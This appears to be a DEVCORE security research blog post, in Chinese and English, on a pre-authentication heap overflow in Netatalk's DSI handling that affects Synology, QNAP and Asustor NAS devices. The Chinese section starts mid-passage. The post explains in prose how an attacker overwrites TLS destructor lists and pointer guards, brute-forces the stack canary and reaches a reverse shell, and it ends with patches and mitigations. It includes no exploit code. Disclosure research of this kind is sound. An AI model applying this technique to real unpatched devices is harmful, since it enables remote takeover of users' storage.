ไฝ†ๅœจๆ–ฐ็‰ˆๆœฌๅ’Œ synology ็š„ libc ไธญ๏ผŒdtor_list ็š„ function pointer ๆœ‰่ขซ pointer guard ไฟ่ญท๏ผŒๅฐŽ่‡ดๆญฃๅธธๆƒ…ๆณไธ‹๏ผŒๆˆ‘ๅ€‘ไธฆไธๅฅฝๅˆฉ็”จ๏ผŒไธ€ๆจฃ้œ€่ฆๅ…ˆ leak ๅ‡บ pointer guard ๆ‰่ƒฝๅฅฝๅฅฝๆŽงๅˆถ rip ๅˆฐๆˆ‘ๅ€‘ๆƒณ่ฆ็š„ไฝ็ฝฎไธŠใ€‚

ไฝ†ๆœ‰่ถฃ็š„ๆ˜ฏ pointer guard ไนŸๆœƒๅœจ TLS ไธŠ๏ผŒไป–ๆœƒๅญ˜ๅœจ TLS ไธญ็š„ tcbhead_t ็ตๆง‹ไธญ๏ผŒๅฆ‚ๆžœๆˆ‘ๅ€‘ overflow ๅค ๅคš๏ผŒไนŸๅฏไปฅๅœจ overflow tls_dtor_list ็š„ๅŒๆ™‚๏ผŒไนŸๅฐ‡ pointer guard ไนŸไธ€ไฝตๆธ…ๆŽ‰๏ผŒ้€™ๆจฃๅฐฑๅฏไปฅ่ฎ“ๆˆ‘ๅ€‘ไธ็”จ่™•็† pointer guard ๅ•้กŒใ€‚

ๅ…ˆไพ†่ฌ›่ฌ› tcbhead_t ้€™็ตๆง‹๏ผŒ้€™ๅ€‹็ตๆง‹ไธป่ฆๆ˜ฏ Thread Control Block (TCB)๏ผŒๆœ‰้ปž้กžไผผ Windows ไธญ็š„ TEB ็ตๆง‹ ๆ˜ฏ thread ็š„ descriptor๏ผŒไธป่ฆๆœƒ็”จไพ†ๅญ˜ๆ”พ thread ็š„ๅ„็จฎ่ณ‡่จŠ๏ผŒ่€Œๅœจ x86_64 ็š„ Linux ๆžถๆง‹็š„ usermode ไธ‹๏ผŒfs ๆšซๅญ˜ๅ™จๆœƒๆŒ‡ๅ‘้€™ไฝ็ฝฎ๏ผŒๆฏ็•ถๆˆ‘ๅ€‘่ฆๅญ˜ๅ– thread local variable ๆ™‚๏ผŒ้ƒฝๆœƒ้€้Ž fs ๆšซๅญ˜ๅ™จๅŽป ๅญ˜ๅ–๏ผŒๆˆ‘ๅ€‘ๅฏไปฅ็œ‹ๅˆฐ TCB ็ตๆง‹ๆœƒๆœ‰ stack guard ๅŠ pointer guard ็ญ‰่ณ‡่จŠ๏ผŒไนŸๅฐฑๆ˜ฏ่ชช็•ถๆˆ‘ๅ€‘ๅ†ๆ‹ฟ pointer guard ๆ™‚๏ผŒไนŸ้ฉ็”จ fs ๆšซๅญ˜ๅ™จๅพž้€™ๅ€‹็ตๆง‹ๅ–ๅ‡บ็š„ใ€‚

ๆˆ‘ๅ€‘ๅ›ž้ ญ็œ‹ไธ€ไธ‹ TLS ไธŠ็š„็ตๆง‹ๅˆ†ไฝˆ๏ผŒๅฏไปฅ็œ‹ๅˆฐ tls_dtor_list ๅพŒๆ–นๅฐฑๆ˜ฏ้€™ๅ€‹๏ผŒtcbhead_t ็ตๆง‹ใ€‚ๅช่ฆๆˆ‘ๅ€‘ overflow ๅค ๅคšๅฐฑๅฏไปฅ่“‹ๆŽ‰ pointer guard๏ผŒ็„ถ่€Œๆญคๆ™‚ๆœƒๅ‡บ็พๅฆๅค–ไธ€ๅ€‹ๅ•้กŒใ€‚

ๅ› ็‚บ stack guard ๅœจ pointer guard ๅ‰๏ผŒ็•ถๆˆ‘ๅ€‘่“‹ๆŽ‰ pointer guard ็š„ๅŒๆ™‚๏ผŒไนŸๆœƒ่“‹ๆŽ‰ stack guardใ€‚้‚ฃ้บผ่“‹ๆŽ‰ stack guard ๆœƒๆœ‰ไป€้บผๅฝฑ้Ÿฟๅ‘ข๏ผŸ

ๅœจๆˆ‘ๅ€‘ๅ‘ผๅซ dsi_stream_receive() ๆ™‚๏ผŒๅ› ็‚บๆœ‰้–‹ๅ•Ÿ stack guard ไฟ่ญท็š„้—œไฟ‚๏ผŒๆœƒๅ…ˆๅพž TLS ไธŠ๏ผŒๅ–ๅพ— stack guard ๆ”พๅœจ stack ไธŠ๏ผŒ็ญ‰ๅˆฐๆˆ‘ๅ€‘ๅ‘ผๅซ dsi_stream_read ๅŽป trigger overflow ไธ”่“‹ๆŽ‰ pointer guard ๅŠ stack guard ๅพŒ๏ผŒๅœจ dsi_stream_receive() ่ฟ”ๅ›žๆ™‚๏ผŒๆœƒๅŽปๆชขๆŸฅ stack guard ๆ˜ฏๅฆ่ˆ‡ TLS ไธญ็š„็›ธๅŒ๏ผŒไฝ†ๅ› ็‚บ้€™ๆ™‚ๅ€™็š„ TLS ็š„ stack guard ๅทฒ็ถ“่ขซๆˆ‘ๅ€‘่“‹ๆŽ‰ไบ†๏ผŒๅฐŽ่‡ดๆชขๆŸฅไธ้€š้Ž่€Œไธญๆญข็จ‹ๅผ๏ผŒๅฐฑๆœƒ้€ ๆˆๆˆ‘ๅ€‘็„กๆณ•ๅˆฉ็”จ้€™ๅ€‹ๆŠ€ๅทงไพ†้”ๆˆ RCEใ€‚

Bypass stack guard

ๅœจ netatalk(afpd) ็š„ๆžถๆง‹ไธญ๏ผŒไบ‹ๅฏฆไธŠๆฏๆฌก้€ฃ็ทš้ƒฝๆœƒ fork ไธ€ๅ€‹ๆ–ฐ็š„ process ไพ† handle ไฝฟ็”จ่€…็š„ request๏ผŒ่€Œ Linux ไธญ็š„ process ๆœ‰ๅ€‹็‰นๆ€งๆ˜ฏ fork ๅ‡บไพ†็š„ process๏ผŒmemory address ๅŠ stack gurad ็ญ‰้ƒฝๆœƒ่ˆ‡ๅŽŸๅ…ˆ็š„ parent process ็›ธๅŒ๏ผŒๅ› ๆญคๆˆ‘ๅ€‘ๅฏไปฅๅˆฉ็”จ CTF ๅธธ่ฆ‹็š„ๆ‹›ๅผ๏ผŒไธ€ๅ€‹ byte ไธ€ๅ€‹ bytes brute-force ็š„ๆ–นๅผไพ†็ฒๅพ— stack guard ใ€‚

Brute-force stack guard

ๅŸบๆœฌๆฆ‚ๅฟตๆ˜ฏ ๅœจ overflow ไน‹ๅพŒ๏ผŒๆˆ‘ๅ€‘ๅฏไปฅๅช่“‹ TLS ไธญ็š„ stack guard ๆœ€ๅฐพ็ซฏไธ€ๅ€‹ byte ๏ผŒๆฏๆฌก้€ฃ็ทš้ƒฝ่“‹ไธๅŒ็š„ byte๏ผŒไธ€ๆ—ฆ่ˆ‡ stack guard ไธๅŒ๏ผŒๅฐฑๆœƒๅ› ็‚บ abort ่€Œไธญๆ–ท้€ฃ็ทš๏ผŒๆˆ‘ๅ€‘ๅฏไพๆ“š้€ฃ็ทš็š„ไธญๆ–ท่ˆ‡ๅฆ๏ผŒๅˆคๆ–ทๆˆ‘ๅ€‘ๆ‰€่ฆ†่“‹็š„ๆ•ธๅ€ผๆ˜ฏๅฆ่ˆ‡ stack guard ็›ธๅŒใ€‚

ไปฅไธŠๅœ–ไพ†่ชช๏ผŒๆˆ‘ๅ€‘ๅ‡่จญ stack guard ๆ˜ฏ 0xdeadbeeffacebc00๏ผŒ็”ฑๆ–ผ stack guard ็‰นๆ€ง๏ผŒๆœ€ไฝŽไธ€ๅ€‹ byte ไธ€ๅฎšๆœƒๆ˜ฏ 0 ๏ผŒ้€™้‚Šๅพž็ฌฌไบŒๅ€‹ byte ่“‹่ตท๏ผŒ้€™้‚Šๅฏไปฅๅ…ˆ่“‹ 00 ่ฉฆ็œ‹็œ‹้€ฃ็ทšๆ˜ฏๅฆ่ขซไธญๆ–ท๏ผŒๅฆ‚ๆžœ่ขซไธญๆ–ทไปฃ่กจ่“‹็š„ๆ•ธๅ€ผๆ˜ฏ้Œฏ็š„๏ผŒๆŽฅไธ‹ไพ†ๆˆ‘ๅ€‘ๅฐฑๆธฌๅ…ถไป–ๆ•ธๅ€ผ็œ‹็œ‹ๆœ‰ๆฒ’ๆœ‰ไธญๆ–ท๏ผŒไพๆญค้กžๆŽจ๏ผŒๆธฌๅˆฐ 0xbc ็™ผ็พๆฒ’ๆœ‰ไธญๆ–ท๏ผŒไปฃ่กจ็ฌฌไบŒๅ€‹ byte ๆ˜ฏ 0xbc๏ผŒๆŽฅไธ‹ไพ†ๅฐฑ็นผ็บŒ่“‹็ฌฌไธ‰ byte ๏ผŒไธ€ๆจฃๅพž 0x00 ่“‹ๅˆฐๆฒ’ไธญๆ–ท๏ผŒ็›ดๅˆฐ่“‹ๆปฟ 8 bytes ็š„ stack guard ้ƒฝๆฒ’ไธญๆ–ท้€ฃ็ทšๅพŒ๏ผŒๆˆ‘ๅ€‘ๅฐฑๅฏไปฅ็Ÿฅ้“ stack guard ็š„ๅ€ผๆ˜ฏไป€้บผ๏ผŒๆŽฅไธ‹ไพ†ๆˆ‘ๅ€‘ๅฐฑๅฏไปฅ่งฃๆฑบ stack guard ๅ•้กŒใ€‚

Construct the _dtor_list to control RIP

ๅœจ่งฃๆฑบ stack guard ๅ•้กŒๅพŒ๏ผŒnetatalk ๅทฒๅฏๆญฃๅธธ้‹ไฝœ๏ผŒๆŽฅไธ‹ไพ†ๆˆ‘ๅ€‘้œ€่ฆๆง‹้€  _dtor_list ็ตๆง‹ไธฆ็ตๆŸ็จ‹ๅผไพ†ๆŽงๅˆถ RIP๏ผŒๅœจ็•ถๆ™‚็š„ synology ็š„ afpd ไธญไธฆๆฒ’ๆœ‰้–‹ๅ•Ÿ PIE๏ผŒๆˆ‘ๅ€‘ๅฏไปฅๅœจ afpd ็š„ data ๆฎตไธญ๏ผŒๆง‹้€  _dtor_listใ€‚

ๅ‰›ๅฅฝๅœจไฝฟ็”จ dhx2 method ็š„ login ๅŠŸ่ƒฝไธญ๏ผŒๆœƒๅฐ‡ๆˆ‘ๅ€‘่ฆ็™ปๅ…ฅ็š„ username ่ค‡่ฃฝๅˆฐ global ็š„ buffer ไธญ๏ผŒๆ‰€ไปฅๆˆ‘ๅ€‘ๅฏไปฅๅฐ‡้€™็ตๆง‹่ทŸ่‘— username ไธ€่ตทๅฏซๅ…ฅๅ›บๅฎš็š„ๅทฒ็Ÿฅไฝ็ฝฎใ€‚

ๅœจไธ€ๅˆ‡้ƒฝๆง‹้€ ๅฎŒๆˆๅพŒ๏ผŒๆˆ‘ๅ€‘้€™้‚Šๅฏไปฅ่งธ็™ผๆญฃๅธธๅŠŸ่ƒฝ็š„ DSICloseSession ๅณๅฏ่งธ็™ผ exit()

tls_dtor_list in Synology

ๅœจ reverse ๅพŒ๏ผŒ็™ผ็พ synology ็š„ glibc ไธญ๏ผŒๆœƒไฝฟ็”จ __tls_get_addr() ไพ†ๅ–ๅพ— tls_dtor_list๏ผŒไธฆ้ž็›ดๆŽฅๅญ˜ๅ– tls_dtor_list ้€™ๅ€‹ๅ…จๅŸŸ่ฎŠๆ•ธ๏ผŒ่€Œ้€™ๅ‡ฝๅผ็š„ๅ–ๅพ—ๆ–นๅผๅ‰‡ๆœƒๅพžๅ‰่ฟฐ tcbhead_t ไธญๅ…ˆๅ– div ๆฌ„ไฝๅพŒ๏ผŒๅ†ๅ–ๅพ—ๅ…ถไธญ็š„ tls_dtor_list ๏ผŒๅ› ๆญคๆˆ‘ๅ€‘้œ€่ฆ้€ฃๅŒ tcb->div ไธ€่ตทๆง‹้€ ๅœจๅ›บๅฎšไฝ็ฝฎ๏ผŒๅฆๅค–ไธ€้ปžๆ˜ฏ Synology ็š„ afpd ไธญไธฆๆฒ’ๆœ‰ system ๅฏ็”จ๏ผŒไฝ†ไบ‹ๅฏฆไธŠๆœ‰ execl ๅฏไปฅไฝฟ็”จ๏ผŒๅชๆ˜ฏๅƒๆ•ธ็จๅพฎ่ค‡้›œไธ€้ปž่€Œๅทฒใ€‚

ๆœ€ๅพŒๆˆ‘ๅ€‘ๆง‹้€ ็š„็ตๆง‹ๅฆ‚ไธŠๅœ–ๆ‰€็คบ๏ผŒๆˆ‘ๅ€‘ๅฐ‡ tcb ๅŠ dtor_list ็ตๆง‹้ƒฝๆง‹้€ ๅœจ username buffer ไธญ๏ผŒ่งธ็™ผ exit() ๅพŒ๏ผŒๅฐฑๆœƒๅŽปๅŸท่กŒ execl ไธฆๅ–ๅพ—ๅ้€ฃ shellใ€‚

Remark

ๅœจไธ€่ˆฌ็š„ Netatalk ไธญ๏ผŒๆ˜ฏๆœƒๅ•Ÿ็”จ PIE ๏ผŒไธๅคชๅฎนๆ˜“ๅœจๅทฒ็Ÿฅไฝ็ฝฎๆง‹้€  _dtor_list๏ผŒๅฏฆ้š›ไธŠไนŸๅฏไปฅ็”จ้กžไผผๆ–นๆณ• leak ๅ‡บ libc ไฝ็ฝฎ๏ผŒไพ่ˆŠๆ˜ฏ exploitable๏ผŒ่ฉฒๆผๆดžไธๅชๅฝฑ้Ÿฟ Synology ไนŸๆœƒๅฝฑ้Ÿฟๅˆฐๅคง้ƒจๅˆ†ๆœ‰ไฝฟ็”จ Netatalk ็š„่จญๅ‚™ใ€‚

Other vendor

ๆˆ‘ๅ€‘ๆธฌ่ฉฆไบ†่จฑๅคšๅฎถๆœ‰ไฝฟ็”จๅˆฐ Netatalk ็š„ๅป ๅ•†๏ผŒ็™ผ็พไธๅฐ‘ๅฎถๆœ‰ๅญ˜ๅœจ้กžไผผ็š„ๅ•้กŒ๏ผŒ้ƒจๅˆ†ๆ˜ฏ unexploitable ไฝ†ไนŸๆœ‰้ƒจๅˆ†ๆ˜ฏ exploitableใ€‚ๆˆ‘ๅ€‘้€™้‚Šๅฏฆๆธฌไบ† QNAP ๅŠ Asustor๏ผŒ็š†ๆœ‰ๆˆๅŠŸ็ฒๅพ— shellใ€‚

QNAP

  • We tested on TS451
    • QTS 4.5.4.1741
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • ๅ…งๅปบ system


Asustor

  • We tested on AS5202T
    • ADM 3.5.7.RJR1
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • ๅ…งๅปบ system

QNAP ๅŠ Asustor ๅ…ฉๅฎถ NAS ้ƒฝๆฒ’ๆœ‰้–‹ๅ•Ÿ Stack guard๏ผŒไธ้œ€ brute-force ๅณๅฏ็ฒๅพ—ๅ้€ฃ shellใ€‚

้€™ๅ€‹ๆผๆดžๅœจ Synology ๅฐšๆœชไฟฎ่ฃœๆ™‚๏ผŒๅช่ฆ default ่ฃๅฅฝๅฐฑๅฏไปฅๅˆฉ็”จ๏ผŒไธ้œ€ไปปไฝ•่ช่ญ‰๏ผŒ่€Œ QNAP ๅŠ Asustor ้›–็„ถไธๆ˜ฏ้ ่จญ้–‹ๅ•Ÿ๏ผŒไฝ†ไธๅฐ‘ๆœ‰ไฝฟ็”จ Mac ็š„็”จๆˆถ๏ผŒ้‚„ๆ˜ฏๆœƒ็‚บไบ†ๆ–นไพฟๆŠŠๅฎƒๆ‰“้–‹๏ผŒๅŸบๆœฌไธŠๅช่ฆๆ˜ฏ NAS ๅนพไนŽ้ƒฝๆœƒ็”จๅˆฐ Netatalk๏ผŒ็ต•ๅคงๅคšๆ•ธ็š„ NAS ้ƒฝๆœ‰ๅฝฑ้Ÿฟ๏ผŒๅช่ฆๆœ‰้–‹ๅ•Ÿ Netatalk๏ผŒๆ”ปๆ“Š่€…ๅฏไปฅๅˆฉ็”จ้€™ๅ€‹ๆผๆดžๆ‰“ไธ‹ๅคง้ƒจๅˆ†็š„ NASใ€‚ไฝ ็š„ NAS ๅฐฑๅ†ไนŸไธๆœƒๆ˜ฏไฝ ็š„ NASใ€‚

ๆˆ‘ๅ€‘ๅพŒไพ†ไนŸๅพž shodan ไธŠ็™ผ็พ๏ผŒๅ…ถๅฏฆไนŸๆœ‰้žๅธธๅคšไบบๅฐ‡ netatalk ้–‹ๅœจๅค–็ถฒ๏ผŒๅ…‰ๅœจ shodan ไธŠๅฐฑๆœ‰ 13 ่ฌๅฐๆฉŸๅ™จ๏ผŒๅ…ถไธญๅคง้ƒจๅˆ†ๆ˜ฏ Synologyใ€‚

Mitigation

Update

็›ฎๅ‰ไธŠ่ฟฐไธ‰ๅฐ็š†ๅทฒไฟฎ่ฃœ๏ผŒ่ซ‹ๅฐšๆœชๆ›ดๆ–ฐ็š„็”จๆˆถๆ›ดๆ–ฐๅˆฐๆœ€ๆ–ฐ

  • Synology
    • https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26
  • QNAP
    • https://www.qnap.com/en/security-advisory/qsa-21-50
  • Asustor
    • https://www.asustor.com/service/release_notes#ADM%203.5.7.RKU2

Disable AFP

  • ๆฒ’ไฝฟ็”จๆ™‚๏ผŒๆœ€ๅฅฝ็›ดๆŽฅ้—œๆŽ‰ๆˆ–ๆ˜ฏ้—œๅœจๅ…ง็ถฒ๏ผŒ่ฉฒ project ๅนพไนŽๅทฒ็ถ“ๅพˆๅฐ‘็ถญ่ญท๏ผŒ็นผ็บŒไฝฟ็”จ้ขจ้šชๆฅต้ซ˜ใ€‚
  • ๆ”น็”จ SMB ็›ธๅฐๅฎ‰ๅ…จ
    • ๅฆ‚ๆžœๆƒณ่ฆ็”จ้กžไผผๅŠŸ่ƒฝ๏ผŒๅปบ่ญฐๅฏไฝฟ็”จ SMB ็›ธๅฐๅฎ‰ๅ…จไธๅฐ‘๏ผŒไฝ†ๅช่ƒฝ่ชช็›ธๅฐๅฎ‰ๅ…จ๏ผŒไธ่ƒฝ่ชช็ต•ๅฐๆฒ’ๅ•้กŒ๏ผŒๅปบ่ญฐ้‚„ๆ˜ฏๅฐ‡็›ธ้—œๆœๅ‹™้ƒฝ้–‹ๅœจๅ…ง็ถฒๅฐฑๅฅฝ๏ผŒๆฒ’็”จๅˆฐ็š„่ƒฝ้—œๅฐฑ้—œ

Summary

ๆˆ‘ๅ€‘ๅทฒๆˆๅŠŸๅœจ NAS ไธญๆ‰พๅˆฐไธ€ๅ€‹ๅšด้‡ๆผๆดž๏ผŒไธฆไธ”ๆˆๅŠŸๅฏซๅ‡บๆฆ‚ๅฟต่ญ‰ๆ˜Ž็จ‹ๅผ๏ผŒ่ญ‰ๅฏฆๅฏไปฅๅˆฉ็”จๅœจ Synologyใ€QNAP ๅŠ Asustor ็ญ‰ไธปๆต NAS ไธŠๅˆฉ็”จใ€‚ๆˆ‘ๅ€‘ไนŸ่ช็‚บ Netatalk ๆ˜ฏๅœจ NAS ไธญๆ–ฐไธ€ไปฃ็š„ๅพŒ้–€!

ๆœชไพ†ๅธŒๆœ›ๆœ‰ไฝฟ็”จๅˆฐ็ฌฌไธ‰ๆ–นๅฅ—ไปถ็š„ NAS ๅป ๅ•†๏ผŒๅฏไปฅๅคš้‡ๆ–ฐๅฏฉ่ฆ–ไธ€ไธ‹็ฌฌไธ‰ๆ–นๅฅ—ไปถๆ‰€ๅธถไพ†็š„ๅฎ‰ๅ…จๆ€งๅ•้กŒ๏ผŒๅผท็ƒˆๅปบ่ญฐๅฏไปฅ่‡ช่กŒ Review ไธ€ๆฌก๏ผŒไธฆไธ”ๆณจๆ„ๅ…ถไป–ๅป ๅ•†ๆ˜ฏๅฆไนŸๆœ‰ไฟฎๅพฉๅŒๆจฃๅฅ—ไปถไธŠ็š„ๆผๆดž๏ผŒๅพˆๆœ‰ๅฏ่ƒฝ่‡ชๅทฑไนŸๆœƒๅ—ๅˆฐๅฝฑ้Ÿฟ๏ผŒไนŸๅธŒๆœ›ไฝฟ็”จ NAS ็š„็”จๆˆถ๏ผŒไนŸ่ƒฝๅคšๅคš้‡่ฆ–ไธ่ฆๆŠŠ NAS ้–‹ๅœจๅค–็ถฒ๏ผŒ่ƒฝ้—œ็š„ๆœๅ‹™ๅฐฑ็›กๅฏ่ƒฝ้—œ้–‰๏ผŒไปฅๆธ›ๅฐ‘ๆ”ปๆ“Š้ข๏ผŒ่ฎ“ๆ”ปๆ“Š่€…ๆœ‰ๆฉŸๅฏ่ถใ€‚

To be continue

ไบ‹ๅฏฆไธŠ๏ผŒๆˆ‘ๅ€‘ไธฆไธๅชๆœ‰ๆ‰พๅˆฐไธ€ๅ€‹ๆผๆดž๏ผŒๆˆ‘ๅ€‘ไนŸ็™ผ็พ้‚„ๆœ‰ไธๅฐ‘ๅ•้กŒ๏ผŒไนŸ้‹็”จๅœจๅŽปๅนด็š„ Pwn2Own Austin ไธŠ๏ผŒ้€™้ƒจๅˆ†ๆˆ‘ๅ€‘ๅœจๅคง้ƒจๅˆ†ๅป ๅ•†ไฟฎๅพฉๅพŒๆœƒๅœจๅ…ฌ้–‹ๅ…ถไป–็š„็ ”็ฉถ๏ผŒๅฐฑ็›ก่ซ‹ๆœŸๅพ… Part IIใ€‚

โœ‡ DEVCORE

Your NAS is not your NAS !

โ€”

English Version
ไธญๆ–‡็‰ˆๆœฌ

Two years ago, we found a critical vulnerability on Synology NAS. This vulnerability can let an unauthorized attacker gain code execution on remote Synology DiskStation NAS server. We used this vulnerability to exploit Synology DS418play NAS in Pwn2Own Tokyo 2020. After that, we found the vulnerability is not only exists on Synology but also on most NAS vendors. Following we will describe the details and how we exploit it.

This research is also presented at HITCON 2021. You can check the slides here.

Network Attached Storage

In the early days, NAS was generally used to separate the server and data and also used for backup. It was mainly used to allow users to directly access data and share files on the Internet. In modern times, NAS provides not only file sharing but also various services. In this era of Internet of Things, there will be more people combining NAS and home assistants to make life more convenient.

Motivation

Why do we want to research NAS?

Red Team

While we were doing red team assessment, we found that NAS generally appeared in the corporate intranet, or sometimes even exposed to the external network. They usually stored a lot of corporate confidential information on the NAS. Therefore, NAS gradually attracted our attention, and its Strategic Value has been much higher than before.

Ransomware

NAS has become more and more popular in recent years. More and more people store important data on NAS. It makes NAS a target of ransomware. At the beginning of last year, NAS vulnerabilities led to outbreak of locker event. We hope to reduce the recurrence of similar things, thereby increasing the priority of NAS research to improve NAS security.

Pwn2Own Mobile 2020

The last reason is that NAS has become one of the main targets of Pwn2Own Mobile since 2020. We also wanted to try to join Pwn2Pwn event, so we decided to make NAS as the primary goal of the research at that time. Because of Synology is the most popular device in Taiwan, we decided start from it.

Recon

Environment

  • DS918+
  • DSM 6.2.3-25426

Our test environment is Synoloby DS918+. It very similar as DS418 play(target of Pwn2Own Tokyo 2020). In order to better meet the environment that we usually encounter and the requirements in Pwn2Own, it will be in the state of all default settings.

Attack surface

First of all, we can use netstat to find which port is open. We can see that in the default environment, many services are opened, such as smb/nginx/afpd.

In UDP, it has minissdpd/findhost/snmpd, etc., most of protocols help to find devices.

We selected a few services for preliminary analysis.

DSM Web interface

The first one is the DSM Web interface. This part is probably the one that most people analyze and it has obvious entry points. Many years ago, there were many command injection vulnerabilities, but after that Synology set strict specifications. There are almost no similar problems nowadays.

SMB

The SMB protocol in Synology is based on Samba. Due to the large number of user, many researcher are doing code review on it. Therefore, there are many vulnerabilities found in Samba every year. The most famous vulnerability recently is SambaCry. But because more people are reviewing, it is relatively safer than other services.

iSCSI Manager

It mainly helps users manage and monitor iSCSI services and it is developed by Synology itself. There are a lot of vulnerabilities in iSCSI recently. Maybe it will be a good target. If there is no other attack surface, we might analyze it first.

Netatalk

The last one is Netatalk, which is known as afp protocol. Netatalk in Synology is based on Netatak 3.1.8. The most critical vulnerability recently is CVE-2018-1160. For this vulnerability, please refer to Exploiting an 18 Year Old Bug. Compared with other services, Netatalk has very few vulnerabilities in the past. It is less noticed, and it has not been updated and maintained for a long time.

After overall analysis, we believe that Netatalk is the most vulnerable point in Synology. We finally decided to analyze it first. In fact, there are other services and attack surfaces, but we didnโ€™t spend much time on other service. We will only focus on Netatalk in this article.

Netatalk

Apple Filing Protocol (AFP) is a file transfer protocol similar to SMB. It is used to transfer and share files on MAC. Because Apple itself is not open-sourced, in order to utilize AFP on Unix-like systems, Netatalk is created. Netatalk is a freely-available Open Source AFP fileserver. Almost every NAS uses it to make file sharing on MAC more convenient.

Netatalk in Synology

The netatalk in Synology is enabled by default. The version is modified from netatalk 3.1.8, and it tracks security updates regularly. Once installed, you can use the AFP protocol to share files with Synology NAS. It also enables protections such as ASLR, NX and StackGuard.

DSI

Before we look into the detail of the vulnerability we need to talk about Data Stream Interface (DSI). The DSI is a session layer format used to carry AFP traffic over TCP. While server and client communicate through the AFP, a DSI header is in front of each packet.

DSI Packet Header :

The content of the DSI packet is shown as the figure above. It contains metadata and payload, which generally follows the DSI header and payload format.

AFP over DSI :

The communication of the AFP protocol is shown above. The client first gets the server information to determine available authentication methods, the version used, and so on. Then it opens a new session and to execute AFP commands. Without authentication, we can only do related operations such as login and logout. Once the client is verified, we can do file operations like SMB.

In Netatalk implementation, dsi_block will be used as the packet structure.

dsi_block :

  • dsi_flag means that the packet is a request or reply
  • dsi_command indicates what our request does
    • DSICloseSession
    • DSICommand
    • DSIGetStatus
    • DSIOpenSession
  • dsi_code
    • Error code
    • For reply
  • dsi_doff
    • DSI data offset
    • Using in DSIWrite
  • dsi_len
    • The Length of Payload

DSI : A descriptor of dsi stream

In Netatalk, most of the information are stored in a structure called DSI for subsequent operations after parsing the packet and configuration files, such as server_quantum and payload content.

The payload of the packet is stored in the command buffer in the DSI structure. The buffer size is server_quantum, and the value is specified in the afp configuration file afp.conf.

If not specified, it uses the default size(0x100000).

With a preliminary understanding, letโ€™s talk about this vulnerability.

Vulnerability

The vulnerability we found occurs while receiving the payload. It can be triggered without authentication. The vulnerable function is dsi_stream_receive.

Itโ€™s the function that parses the information from received packet and puts it into the DSI structure. When it receives the packet data, it first determine how much data to read into the command buffer according to the dsi_len in the dsi header. At the beginning, the size of dsi_cmdlen is verified.

However, as shown in the picture above, if dsi_doff is provided by user, dsi_doff is used as the length. There is no verification here.

The default length of dsi->commands is 0x100000(dsi->server_quantum), which is a fixed length allocated in dsi_init, so as long as dsi->header.dsi_doff is larger than dsi->server_quantum, heap overflow occurs.

Exploitation

In DSM 6.2.3, dsi->commands buffer is allocated by malloc at libc 2.20. When it allocates more than 0x20000, malloc calls mmap to allocate memory. The memory layout of afpd after dsi_init is as below.

At the below of dsi->commands is Thread Local Storage, which is used to store thread local variables of the main thread.

Because of this memory layout, we can use the vulnerability to overwrite the data on Thread Local Storage. What variables to be overwritten in the Thread Local Storage?

Thread-local Storage

Thread-local Storage (TLS) is used to store the local variables of the thread. Each thread have its own TLS, which allocated when the Thread is created. It will be released when thread is destroyed. We can use heap overflow vulnerabilities to overwrite most of the variables stored in TLS.

Target in TLS

In fact, there are many variables that can control RIP on TLS. Here are a few more common ones.

  • main_arena
    • We can forge main_arena to achieve arbitrary writing, but itโ€™s more complicated
  • pointer_guard
    • We can modify the pointer guard to change the function pointer, but it requires a leak.
  • tls_dtor_list
    • Itโ€™s more suitable for our current situation

Overwrite tls_dtor_list

We can use the technique used by project zero in 2014 to overwrite the tls_dtor_list in the Thread Local Storage, and then control the RIP in exit().

struct dtor_list
{
    dtor_func func;
    void *obj;
    struct link_map *map;
    struct dtor_list *next;
}

tls_dtor_list is a singly linked list of dtor_list objects. It is mainly a destructor for thread local storage. In the end of the thread execution, it calls destructor function pointer in the linked list. We can overwrite tls_dtor_list with dtor_list we forged.

When the process exits, it calls call_tls_dtors(). This function takes the object in tls_dtor_list and calls each destructor. At this time, if we can control tls_dtor_list, it calls the function we specified.

However, in the new version of glibc, the function of dtor_list is protected by pointer guard. So we need to know the value of pointer guard before we overwrite it. The pointer guard is initialized at the beginning of the program and is an unpredictable random number. If we donโ€™t have information leakage, itโ€™s hard to know the value.

But in fact pointer guard would also be placed in Thread Local Storage.

In the Thread Local Storage, there is a tcbhead_t structure below the tls_dtor_list, which is the thread descriptor of main thread.

tcbhead_t structure is used to store various information about the thread such as the stack_guard and pointer_guard used by the thread. In x86-64 Linux system, the fs register always points to the tcbhead_t of the current thread, so the program access thread local storage by using fs register. The memory layout of Thread local storage is shown as below.

We can use the vulnerability to overwrite not only tls_dtor_list but also pointer guard in the tcbhead_t. In this way, we can overwrite it with NULL to solve the pointer guard problem mentioned earlier.

But another problem appears, after we overwrite pointer guard, stack guard will also be overwritten.

Before netatalk receives data, it first puts the original stack guard on the stack, and then invoke recv() to receive data to dsi->command. At this time, the buffer overflow occurs and cause stack guard and pointer guard to be overwritten. After this, netatalk returns to normal execution flow. It takes the stack guard from the stack and compare it with the stack guard in Thread Local Storage. However, it has been overwritten by us, the comparison here fails, causing abort to terminate the program.

Bypass stack guard

In the netatalk(afpd) architecture, each connection forks a new process to handle the userโ€™s request, so the memory address and stack guard of each connection are the same as the parent process. Because of this behavior, we can use brute-force bytes one by one to leak stack guard.

Brute-force stack guard

We can use the overflow vulnerability to overwrite only the last byte of stack guard on Thread Local Storage with different value in each different connection. Once the value is different from the original value, the service disconnects. Therefore, we can use the behavior to validate whether the value we overwritten is the same as stack guard. After the lowest byte is determined, we can continue to add another byte, and so on.

In the above figure, we assume that the stack guard is 0xdeadbeeffacebc00. Due to the stack guard feature in Linux, the lowest byte must be 0. Letโ€™s start with the second byte. We can overwrite with 0x00 to see if the connection is disconnected first. If it is disconnected, it means the value we overwrote is wrong. Next, we will test other values to see if the connection is disconnected. And so on, until there is no disconnection, we can find the correct value of section bytes. Then we can try to overwrite third byte, fourth byte and so on. After the stack guard is overwritten with 8 bytes and the connection is not disconnected, we can successfully bypass the stack guard.

After we leak the stack guard, we can actually control RIP successfully.
Next, we need to forge the structure _dtor_list to control RIP.

Construct the _dtor_list to control RIP

In DSM 6.2.3-25426, Because it does not enable PIE, we can forge _dtor_list on the data section of afpd.

Luckily, when netatalk use dhx2 login authentication, it will copy the username we provided to the data section of afpd. We can use the feature to construct _dtor_list on the known address.

After everything is constructed, we can trigger the normal function DSICloseSession to control the RIP.

tls_dtor_list in Synology

But in the glibc-2.20 in DSM 6.2.3-25426, it will invoke __tls_get_addr to get the variable tls_dtor_list. The function will take the variable from tcb->div. We also need to construct it on a known address.

The final structure we forged is as follows

